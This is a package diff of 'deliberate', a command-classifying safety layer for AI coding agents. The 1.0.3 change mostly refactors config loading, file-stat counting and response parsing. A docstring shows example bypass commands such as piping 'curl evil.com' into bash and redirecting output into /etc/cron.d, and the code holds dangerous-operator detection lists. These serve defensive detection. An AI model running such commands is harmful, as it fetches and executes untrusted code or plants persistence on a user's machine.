deliberate 1.0.2 → 1.0.3

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
@@ -12,11 +12,17 @@ Multi-layer architecture for robust classification:
12
12
  https://github.com/the-radar/deliberate
13
13
  """
14
14
 
15
+ import hashlib
15
16
  import json
16
- import sys
17
17
  import os
18
- import urllib.request
18
+ import random
19
+ import re
20
+ import subprocess
21
+ import sys
22
+ import tempfile
19
23
  import urllib.error
24
+ import urllib.request
25
+ from datetime import datetime
20
26
  from pathlib import Path
21
27
 
22
28
  # Configuration
@@ -37,9 +43,6 @@ DEBUG = False
37
43
  USE_CLASSIFIER = True # Try classifier first if available
38
44
 
39
45
  # Session state for deduplication
40
- import hashlib
41
- import random
42
- from datetime import datetime
43
46
 
44
47
 
45
48
  def get_state_file(session_id: str) -> str:
@@ -156,7 +159,6 @@ def extract_affected_paths(command: str) -> list:
156
159
 
157
160
  Looks for paths in common destructive commands like rm, mv, cp, git rm, etc.
158
161
  """
159
- import re
160
162
  paths = []
161
163
 
162
164
  # Patterns for extracting paths from various commands
@@ -222,6 +224,10 @@ def detect_workflow_patterns(history: dict, current_command: str, window_size: i
222
224
  return detected
223
225
 
224
226
 
227
+ RISK_LEVELS = {"LOW": 0, "MODERATE": 1, "HIGH": 2, "CRITICAL": 3}
228
+ RISK_NAMES = {v: k for k, v in RISK_LEVELS.items()}
229
+
230
+
225
231
  def calculate_cumulative_risk(history: dict, current_risk: str) -> str:
226
232
  """Calculate cumulative session risk based on history and current command.
227
233
 
@@ -230,36 +236,25 @@ def calculate_cumulative_risk(history: dict, current_risk: str) -> str:
230
236
  - Detected workflow patterns
231
237
  - Files at risk
232
238
  """
233
- risk_levels = {"LOW": 0, "MODERATE": 1, "HIGH": 2, "CRITICAL": 3}
234
-
235
- # Start with current command's risk
236
- max_risk = risk_levels.get(current_risk, 1)
239
+ max_risk = RISK_LEVELS.get(current_risk, 1)
237
240
 
238
- # Check historical risks
239
241
  dangerous_count = 0
240
242
  for cmd in history.get("commands", []):
241
243
  cmd_risk = cmd.get("risk", "MODERATE")
242
244
  if cmd_risk == "DANGEROUS":
243
245
  dangerous_count += 1
244
- max_risk = max(max_risk, risk_levels.get(cmd_risk, 1))
246
+ max_risk = max(max_risk, RISK_LEVELS.get(cmd_risk, 1))
245
247
 
246
- # Escalate based on dangerous command count
247
- if dangerous_count >= 3:
248
- max_risk = max(max_risk, risk_levels["HIGH"])
249
248
  if dangerous_count >= 5:
250
- max_risk = max(max_risk, risk_levels["CRITICAL"])
249
+ max_risk = max(max_risk, RISK_LEVELS["CRITICAL"])
250
+ elif dangerous_count >= 3:
251
+ max_risk = max(max_risk, RISK_LEVELS["HIGH"])
251
252
 
252
- # Check for detected patterns
253
253
  for pattern in history.get("patterns_detected", []):
254
254
  pattern_risk = pattern[1] if len(pattern) > 1 else "HIGH"
255
- max_risk = max(max_risk, risk_levels.get(pattern_risk, 2))
255
+ max_risk = max(max_risk, RISK_LEVELS.get(pattern_risk, 2))
256
256
 
257
- # Convert back to string
258
- for name, level in risk_levels.items():
259
- if level == max_risk:
260
- return name
261
-
262
- return "MODERATE"
257
+ return RISK_NAMES.get(max_risk, "MODERATE")
263
258
 
264
259
 
265
260
  def get_destruction_consequences(command: str, cwd: str = ".") -> dict | None:
@@ -275,9 +270,6 @@ def get_destruction_consequences(command: str, cwd: str = ".") -> dict | None:
275
270
 
276
271
  Returns None if command is not destructive or paths don't exist.
277
272
  """
278
- import re
279
- import subprocess
280
-
281
273
  consequences = {
282
274
  "files": [],
283
275
  "dirs": [],
@@ -382,35 +374,19 @@ def _analyze_path(path: str, consequences: dict):
382
374
  try:
383
375
  if os.path.isfile(path):
384
376
  consequences["files"].append(path)
385
- size = os.path.getsize(path)
377
+ size, lines = _count_file_stats(path)
386
378
  consequences["total_size"] += size
387
-
388
- # Count lines for text files
389
- if _is_text_file(path):
390
- try:
391
- with open(path, 'r', encoding='utf-8', errors='ignore') as f:
392
- lines = sum(1 for _ in f)
393
- consequences["total_lines"] += lines
394
- except (IOError, PermissionError):
395
- pass
379
+ consequences["total_lines"] += lines
396
380
 
397
381
  elif os.path.isdir(path):
398
382
  consequences["dirs"].append(path)
399
- # Walk directory to count contents
400
- for root, _dirs, files in os.walk(path):
383
+ for root, _, files in os.walk(path):
401
384
  for filename in files:
402
385
  filepath = os.path.join(root, filename)
403
- try:
404
- consequences["files"].append(filepath)
405
- size = os.path.getsize(filepath)
406
- consequences["total_size"] += size
407
-
408
- if _is_text_file(filepath):
409
- with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
410
- lines = sum(1 for _ in f)
411
- consequences["total_lines"] += lines
412
- except (IOError, PermissionError, OSError):
413
- pass
386
+ consequences["files"].append(filepath)
387
+ size, lines = _count_file_stats(filepath)
388
+ consequences["total_size"] += size
389
+ consequences["total_lines"] += lines
414
390
  except (OSError, PermissionError):
415
391
  pass
416
392
 
@@ -420,8 +396,6 @@ def _analyze_git_reset_hard(cwd: str, consequences: dict) -> dict | None:
420
396
 
421
397
  Runs git diff HEAD to see uncommitted changes that will be lost.
422
398
  """
423
- import subprocess
424
-
425
399
  consequences["type"] = "git_reset_hard"
426
400
 
427
401
  try:
@@ -453,15 +427,9 @@ def _analyze_git_reset_hard(cwd: str, consequences: dict) -> dict | None:
453
427
  if status[0] in 'MA' or status[1] in 'MA':
454
428
  consequences["files"].append(filepath)
455
429
  if os.path.exists(full_path):
456
- try:
457
- size = os.path.getsize(full_path)
458
- consequences["total_size"] += size
459
- if _is_text_file(full_path):
460
- with open(full_path, 'r', encoding='utf-8', errors='ignore') as f:
461
- lines = sum(1 for _ in f)
462
- consequences["total_lines"] += lines
463
- except (IOError, OSError):
464
- pass
430
+ size, lines = _count_file_stats(full_path)
431
+ consequences["total_size"] += size
432
+ consequences["total_lines"] += lines
465
433
 
466
434
  # Get actual diff to show what changes will be lost
467
435
  diff_result = subprocess.run(
@@ -503,8 +471,6 @@ def _analyze_git_clean(cwd: str, consequences: dict) -> dict | None:
503
471
 
504
472
  Runs git clean -n (dry run) to preview what would be deleted.
505
473
  """
506
- import subprocess
507
-
508
474
  consequences["type"] = "git_clean"
509
475
 
510
476
  try:
@@ -523,34 +489,27 @@ def _analyze_git_clean(cwd: str, consequences: dict) -> dict | None:
523
489
 
524
490
  # Parse output: "Would remove path/to/file"
525
491
  for line in clean_result.stdout.strip().split('\n'):
526
- if line.startswith("Would remove "):
527
- filepath = line[len("Would remove "):].strip()
528
- full_path = os.path.join(cwd, filepath)
492
+ if not line.startswith("Would remove "):
493
+ continue
529
494
 
530
- if os.path.isdir(full_path):
531
- consequences["dirs"].append(filepath)
532
- # Count files in directory
533
- for root, _dirs, files in os.walk(full_path):
534
- for filename in files:
535
- fpath = os.path.join(root, filename)
536
- consequences["files"].append(fpath)
537
- try:
538
- consequences["total_size"] += os.path.getsize(fpath)
539
- if _is_text_file(fpath):
540
- with open(fpath, 'r', encoding='utf-8', errors='ignore') as f:
541
- consequences["total_lines"] += sum(1 for _ in f)
542
- except (IOError, OSError):
543
- pass
544
- else:
545
- consequences["files"].append(filepath)
546
- if os.path.exists(full_path):
547
- try:
548
- consequences["total_size"] += os.path.getsize(full_path)
549
- if _is_text_file(full_path):
550
- with open(full_path, 'r', encoding='utf-8', errors='ignore') as f:
551
- consequences["total_lines"] += sum(1 for _ in f)
552
- except (IOError, OSError):
553
- pass
495
+ filepath = line[len("Would remove "):].strip()
496
+ full_path = os.path.join(cwd, filepath)
497
+
498
+ if os.path.isdir(full_path):
499
+ consequences["dirs"].append(filepath)
500
+ for root, _, files in os.walk(full_path):
501
+ for filename in files:
502
+ fpath = os.path.join(root, filename)
503
+ consequences["files"].append(fpath)
504
+ size, lines = _count_file_stats(fpath)
505
+ consequences["total_size"] += size
506
+ consequences["total_lines"] += lines
507
+ else:
508
+ consequences["files"].append(filepath)
509
+ if os.path.exists(full_path):
510
+ size, lines = _count_file_stats(full_path)
511
+ consequences["total_size"] += size
512
+ consequences["total_lines"] += lines
554
513
 
555
514
  if not consequences["files"] and not consequences["dirs"]:
556
515
  return None
@@ -583,8 +542,6 @@ def _analyze_git_checkout_discard(cwd: str, consequences: dict) -> dict | None:
583
542
 
584
543
  Shows modified tracked files that will lose their changes.
585
544
  """
586
- import subprocess
587
-
588
545
  consequences["type"] = "git_checkout_discard"
589
546
 
590
547
  try:
@@ -609,13 +566,9 @@ def _analyze_git_checkout_discard(cwd: str, consequences: dict) -> dict | None:
609
566
  full_path = os.path.join(cwd, filepath)
610
567
 
611
568
  if os.path.exists(full_path):
612
- try:
613
- consequences["total_size"] += os.path.getsize(full_path)
614
- if _is_text_file(full_path):
615
- with open(full_path, 'r', encoding='utf-8', errors='ignore') as f:
616
- consequences["total_lines"] += sum(1 for _ in f)
617
- except (IOError, OSError):
618
- pass
569
+ size, lines = _count_file_stats(full_path)
570
+ consequences["total_size"] += size
571
+ consequences["total_lines"] += lines
619
572
 
620
573
  if not consequences["files"]:
621
574
  return None
@@ -651,9 +604,6 @@ def _analyze_git_stash_drop(cwd: str, command: str, consequences: dict) -> dict
651
604
 
652
605
  Shows the content of the stash being dropped.
653
606
  """
654
- import subprocess
655
- import re
656
-
657
607
  consequences["type"] = "git_stash_drop"
658
608
 
659
609
  try:
@@ -703,20 +653,35 @@ def _analyze_git_stash_drop(cwd: str, command: str, consequences: dict) -> dict
703
653
  return None
704
654
 
705
655
 
656
+ TEXT_EXTENSIONS = {
657
+ '.py', '.js', '.ts', '.tsx', '.jsx', '.json', '.yaml', '.yml',
658
+ '.md', '.txt', '.sh', '.bash', '.zsh', '.fish',
659
+ '.html', '.css', '.scss', '.sass', '.less',
660
+ '.java', '.kt', '.scala', '.go', '.rs', '.rb', '.php',
661
+ '.c', '.cpp', '.h', '.hpp', '.cs', '.swift', '.m',
662
+ '.sql', '.graphql', '.proto', '.xml', '.toml', '.ini', '.cfg',
663
+ '.env', '.gitignore', '.dockerignore', 'Makefile', 'Dockerfile',
664
+ '.vue', '.svelte', '.astro'
665
+ }
666
+
667
+
706
668
  def _is_text_file(path: str) -> bool:
707
669
  """Check if file is likely a text/code file based on extension."""
708
- text_extensions = {
709
- '.py', '.js', '.ts', '.tsx', '.jsx', '.json', '.yaml', '.yml',
710
- '.md', '.txt', '.sh', '.bash', '.zsh', '.fish',
711
- '.html', '.css', '.scss', '.sass', '.less',
712
- '.java', '.kt', '.scala', '.go', '.rs', '.rb', '.php',
713
- '.c', '.cpp', '.h', '.hpp', '.cs', '.swift', '.m',
714
- '.sql', '.graphql', '.proto', '.xml', '.toml', '.ini', '.cfg',
715
- '.env', '.gitignore', '.dockerignore', 'Makefile', 'Dockerfile',
716
- '.vue', '.svelte', '.astro'
717
- }
718
670
  _, ext = os.path.splitext(path)
719
- return ext.lower() in text_extensions or os.path.basename(path) in text_extensions
671
+ return ext.lower() in TEXT_EXTENSIONS or os.path.basename(path) in TEXT_EXTENSIONS
672
+
673
+
674
+ def _count_file_stats(filepath: str) -> tuple[int, int]:
675
+ """Count size and lines for a file. Returns (size_bytes, line_count)."""
676
+ try:
677
+ size = os.path.getsize(filepath)
678
+ lines = 0
679
+ if _is_text_file(filepath):
680
+ with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
681
+ lines = sum(1 for _ in f)
682
+ return size, lines
683
+ except (IOError, PermissionError, OSError):
684
+ return 0, 0
720
685
 
721
686
 
722
687
  def get_backup_dir() -> str:
@@ -741,7 +706,6 @@ def create_pre_destruction_backup(
741
706
  Returns backup path if successful, None if backup failed/skipped.
742
707
  """
743
708
  import shutil
744
- import subprocess
745
709
 
746
710
  backup_base = get_backup_dir()
747
711
  timestamp = datetime.now().strftime("%Y%m%d_%H%M%S")
@@ -856,20 +820,12 @@ def create_pre_destruction_backup(
856
820
 
857
821
  def load_backup_config() -> dict:
858
822
  """Load backup configuration from config file."""
859
- try:
860
- config_path = Path(CONFIG_FILE)
861
- if config_path.exists():
862
- with open(config_path, 'r', encoding='utf-8') as f:
863
- config = json.load(f)
864
- backup = config.get("backup", {})
865
- return {
866
- "enabled": backup.get("enabled", True), # Enabled by default
867
- "maxBackups": backup.get("maxBackups", 50),
868
- "riskThreshold": backup.get("riskThreshold", "CRITICAL") # Only backup for CRITICAL by default
869
- }
870
- except Exception:
871
- pass
872
- return {"enabled": True, "maxBackups": 50, "riskThreshold": "CRITICAL"}
823
+ backup = _load_config().get("backup", {})
824
+ return {
825
+ "enabled": backup.get("enabled", True),
826
+ "maxBackups": backup.get("maxBackups", 50),
827
+ "riskThreshold": backup.get("riskThreshold", "CRITICAL")
828
+ }
873
829
 
874
830
 
875
831
  def add_command_to_history(session_id: str, command: str, risk: str, explanation: str):
@@ -949,34 +905,38 @@ def save_to_cache(session_id: str, cmd_hash: str, data: dict):
949
905
  debug(f"Failed to cache: {e}")
950
906
 
951
907
 
952
- def load_blocking_config() -> dict:
953
- """Load blocking configuration from ~/.deliberate/config.json"""
908
+ _config_cache = None
909
+
910
+
911
+ def _load_config() -> dict:
912
+ """Load config from CONFIG_FILE with simple caching."""
913
+ global _config_cache
914
+ if _config_cache is not None:
915
+ return _config_cache
954
916
  try:
955
917
  config_path = Path(CONFIG_FILE)
956
918
  if config_path.exists():
957
919
  with open(config_path, 'r', encoding='utf-8') as f:
958
- config = json.load(f)
959
- blocking = config.get("blocking", {})
960
- return {
961
- "enabled": blocking.get("enabled", False),
962
- "confidenceThreshold": blocking.get("confidenceThreshold", 0.85)
963
- }
920
+ _config_cache = json.load(f)
921
+ return _config_cache
964
922
  except Exception:
965
923
  pass
966
- return {"enabled": False, "confidenceThreshold": 0.85}
924
+ _config_cache = {}
925
+ return _config_cache
926
+
927
+
928
+ def load_blocking_config() -> dict:
929
+ """Load blocking configuration from config file."""
930
+ blocking = _load_config().get("blocking", {})
931
+ return {
932
+ "enabled": blocking.get("enabled", False),
933
+ "confidenceThreshold": blocking.get("confidenceThreshold", 0.85)
934
+ }
967
935
 
968
936
 
969
937
  def load_dedup_config() -> bool:
970
938
  """Load deduplication config - returns True if dedup is enabled (default)."""
971
- try:
972
- config_path = Path(CONFIG_FILE)
973
- if config_path.exists():
974
- with open(config_path, 'r', encoding='utf-8') as f:
975
- config = json.load(f)
976
- return config.get("deduplication", {}).get("enabled", True)
977
- except Exception:
978
- pass
979
- return True
939
+ return _load_config().get("deduplication", {}).get("enabled", True)
980
940
 
981
941
 
982
942
  # Default trivial commands that are TRULY safe - no abuse potential
@@ -1014,24 +974,14 @@ DANGEROUS_SHELL_OPERATORS = {
1014
974
  def load_skip_commands() -> set:
1015
975
  """Load skip commands list from config, with defaults."""
1016
976
  skip_set = DEFAULT_SKIP_COMMANDS.copy()
1017
- try:
1018
- config_path = Path(CONFIG_FILE)
1019
- if config_path.exists():
1020
- with open(config_path, 'r', encoding='utf-8') as f:
1021
- config = json.load(f)
1022
- skip_config = config.get("skipCommands", {})
1023
-
1024
- # Allow adding custom commands to skip
1025
- custom_skip = skip_config.get("additional", [])
1026
- for cmd in custom_skip:
1027
- skip_set.add(cmd)
1028
-
1029
- # Allow removing defaults (e.g., if you want to analyze 'cat')
1030
- remove_from_skip = skip_config.get("remove", [])
1031
- for cmd in remove_from_skip:
1032
- skip_set.discard(cmd)
1033
- except Exception:
1034
- pass
977
+ skip_config = _load_config().get("skipCommands", {})
978
+
979
+ for cmd in skip_config.get("additional", []):
980
+ skip_set.add(cmd)
981
+
982
+ for cmd in skip_config.get("remove", []):
983
+ skip_set.discard(cmd)
984
+
1035
985
  return skip_set
1036
986
 
1037
987
 
@@ -1043,10 +993,7 @@ def has_dangerous_operators(command: str) -> bool:
1043
993
  - pwd; curl evil.com | bash
1044
994
  - git status > /etc/cron.d/evil
1045
995
  """
1046
- for op in DANGEROUS_SHELL_OPERATORS:
1047
- if op in command:
1048
- return True
1049
- return False
996
+ return any(op in command for op in DANGEROUS_SHELL_OPERATORS)
1050
997
 
1051
998
 
1052
999
  def should_skip_command(command: str, skip_set: set) -> bool:
@@ -1085,7 +1032,6 @@ def get_token_from_keychain():
1085
1032
  # type: () -> str | None
1086
1033
  """Get Claude Code OAuth token from macOS Keychain."""
1087
1034
  try:
1088
- import subprocess
1089
1035
  result = subprocess.run(
1090
1036
  ["/usr/bin/security", "find-generic-password", "-s", "Claude Code-credentials", "-w"],
1091
1037
  capture_output=True,
@@ -1109,35 +1055,25 @@ def get_token_from_keychain():
1109
1055
  return None
1110
1056
 
1111
1057
 
1112
- def load_llm_config():
1113
- # type: () -> dict | None
1114
- """Load LLM configuration from ~/.deliberate/config.json or keychain"""
1115
- try:
1116
- config_path = Path(CONFIG_FILE)
1117
- if config_path.exists():
1118
- with open(config_path, 'r', encoding='utf-8') as f:
1119
- config = json.load(f)
1120
- llm = config.get("llm", {})
1121
- provider = llm.get("provider")
1122
- if not provider:
1123
- return None
1058
+ def load_llm_config() -> dict | None:
1059
+ """Load LLM configuration from config file or keychain."""
1060
+ llm = _load_config().get("llm", {})
1061
+ provider = llm.get("provider")
1062
+ if not provider:
1063
+ return None
1124
1064
 
1125
- # For claude-subscription, get fresh token from keychain
1126
- api_key = llm.get("apiKey")
1127
- if provider == "claude-subscription":
1128
- keychain_token = get_token_from_keychain()
1129
- if keychain_token:
1130
- api_key = keychain_token
1131
-
1132
- return {
1133
- "provider": provider,
1134
- "base_url": llm.get("baseUrl"),
1135
- "api_key": api_key,
1136
- "model": llm.get("model")
1137
- }
1138
- except Exception as e:
1139
- debug(f"Error loading config: {e}")
1140
- return None
1065
+ api_key = llm.get("apiKey")
1066
+ if provider == "claude-subscription":
1067
+ keychain_token = get_token_from_keychain()
1068
+ if keychain_token:
1069
+ api_key = keychain_token
1070
+
1071
+ return {
1072
+ "provider": provider,
1073
+ "base_url": llm.get("baseUrl"),
1074
+ "api_key": api_key,
1075
+ "model": llm.get("model")
1076
+ }
1141
1077
 
1142
1078
  # Commands that are always safe (skip explanation) - fallback if classifier unavailable
1143
1079
  SAFE_PREFIXES = [
@@ -1177,19 +1113,13 @@ def debug(msg):
1177
1113
  def is_safe_command(command: str) -> bool:
1178
1114
  """Check if command is in the safe list (fallback)."""
1179
1115
  cmd_lower = command.strip().lower()
1180
- for prefix in SAFE_PREFIXES:
1181
- if cmd_lower.startswith(prefix.lower()):
1182
- return True
1183
- return False
1116
+ return any(cmd_lower.startswith(prefix.lower()) for prefix in SAFE_PREFIXES)
1184
1117
 
1185
1118
 
1186
1119
  def is_dangerous_command(command: str) -> bool:
1187
1120
  """Check if command matches dangerous patterns (fallback)."""
1188
1121
  cmd_lower = command.lower()
1189
- for pattern in DANGEROUS_PATTERNS:
1190
- if pattern.lower() in cmd_lower:
1191
- return True
1192
- return False
1122
+ return any(pattern.lower() in cmd_lower for pattern in DANGEROUS_PATTERNS)
1193
1123
 
1194
1124
 
1195
1125
  def call_classifier(command: str) -> dict | None:
@@ -1230,8 +1160,6 @@ def extract_script_content(command: str) -> str | None:
1230
1160
  - source script.sh
1231
1161
  - python script.py
1232
1162
  """
1233
- import re
1234
-
1235
1163
  # Common script execution patterns
1236
1164
  patterns = [
1237
1165
  # bash/sh/zsh execution
@@ -1279,8 +1207,6 @@ def extract_inline_content(command: str) -> str | None:
1279
1207
 
1280
1208
  Returns the inline content if found, None otherwise.
1281
1209
  """
1282
- import re
1283
-
1284
1210
  # Heredoc patterns - capture content between << MARKER and MARKER
1285
1211
  # Handles both << EOF and << 'EOF' (quoted prevents variable expansion)
1286
1212
  heredoc_pattern = r'<<\s*[\'"]?(\w+)[\'"]?\s*\n(.*?)\n\1'
@@ -1334,6 +1260,7 @@ def extract_inline_content(command: str) -> str | None:
1334
1260
 
1335
1261
  def call_llm_for_explanation(command: str, pre_classification: dict | None = None, script_content: str | None = None) -> dict | None:
1336
1262
  """Call the configured LLM to explain the command using Claude Agent SDK."""
1263
+ debug("call_llm_for_explanation started")
1337
1264
 
1338
1265
  llm_config = load_llm_config()
1339
1266
  if not llm_config:
@@ -1341,6 +1268,7 @@ def call_llm_for_explanation(command: str, pre_classification: dict | None = Non
1341
1268
  return None
1342
1269
 
1343
1270
  provider = llm_config["provider"]
1271
+ debug(f"LLM provider: {provider}")
1344
1272
 
1345
1273
  # Only use SDK for claude-subscription provider
1346
1274
  if provider != "claude-subscription":
@@ -1395,10 +1323,6 @@ RISK: [SAFE|MODERATE|DANGEROUS]
1395
1323
  EXPLANATION: [your explanation including any security notes]"""
1396
1324
 
1397
1325
  try:
1398
- # Use Claude Agent SDK
1399
- import subprocess
1400
- import tempfile
1401
-
1402
1326
  # Create temp file for SDK script
1403
1327
  with tempfile.NamedTemporaryFile(mode='w', suffix='.py', delete=False) as f:
1404
1328
  sdk_script = f"""
@@ -1428,15 +1352,30 @@ async def main():
1428
1352
  async with client:
1429
1353
  await client.query(prompt)
1430
1354
 
1431
- # Collect response from ResultMessage
1355
+ # Collect response - check both AssistantMessage and ResultMessage
1432
1356
  response_text = ""
1433
1357
  async for msg in client.receive_response():
1434
1358
  msg_type = type(msg).__name__
1435
- if msg_type == 'ResultMessage' and hasattr(msg, 'result'):
1436
- response_text = msg.result
1359
+
1360
+ # Try to get text from AssistantMessage
1361
+ if msg_type == 'AssistantMessage' and hasattr(msg, 'content'):
1362
+ # content is a list of blocks (TextBlock, ToolUseBlock, etc.)
1363
+ for block in (msg.content or []):
1364
+ block_type = type(block).__name__
1365
+ if block_type == 'TextBlock' and hasattr(block, 'text') and block.text:
1366
+ # Accumulate text from all TextBlocks
1367
+ if response_text:
1368
+ response_text += "\\n" + block.text
1369
+ else:
1370
+ response_text = block.text
1371
+
1372
+ # ResultMessage marks the end
1373
+ if msg_type == 'ResultMessage':
1374
+ if hasattr(msg, 'result') and msg.result:
1375
+ response_text = msg.result
1437
1376
  break
1438
1377
 
1439
- print(response_text)
1378
+ print(response_text if response_text else "")
1440
1379
 
1441
1380
  # Run async main
1442
1381
  asyncio.run(main())
@@ -1445,6 +1384,7 @@ asyncio.run(main())
1445
1384
  script_path = f.name
1446
1385
 
1447
1386
  # Run SDK script
1387
+ debug("Running SDK script...")
1448
1388
  result = subprocess.run(
1449
1389
  ["python3", script_path],
1450
1390
  capture_output=True,
@@ -1454,11 +1394,14 @@ asyncio.run(main())
1454
1394
 
1455
1395
  os.unlink(script_path)
1456
1396
 
1397
+ debug(f"SDK returncode: {result.returncode}")
1398
+ debug(f"SDK stderr: {result.stderr[:500] if result.stderr else 'none'}")
1457
1399
  if result.returncode != 0:
1458
1400
  debug(f"SDK script failed: {result.stderr}")
1459
1401
  return None
1460
1402
 
1461
1403
  content = result.stdout.strip()
1404
+ debug(f"SDK stdout (first 200 chars): {content[:200]}")
1462
1405
 
1463
1406
  # Parse the response
1464
1407
  risk = "MODERATE"
@@ -1602,6 +1545,13 @@ def main():
1602
1545
  risk = llm_result["risk"]
1603
1546
  explanation = llm_result["explanation"]
1604
1547
 
1548
+ # Guard against None/empty explanation - fall back to classifier reason or generic message
1549
+ if not explanation or explanation == "None":
1550
+ if classifier_result and classifier_result.get("reason"):
1551
+ explanation = classifier_result.get("reason")
1552
+ else:
1553
+ explanation = "Review command before proceeding"
1554
+
1605
1555
  # NOTE: Deduplication is handled AFTER block/allow decision
1606
1556
  # We moved it below to prevent blocked commands from being allowed on retry
1607
1557
 
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "deliberate",
3
- "version": "1.0.2",
3
+ "version": "1.0.3",
4
4
  "description": "Safety layer for agentic coding tools - classifies shell commands before execution",
5
5
  "type": "module",
6
6
  "bin": {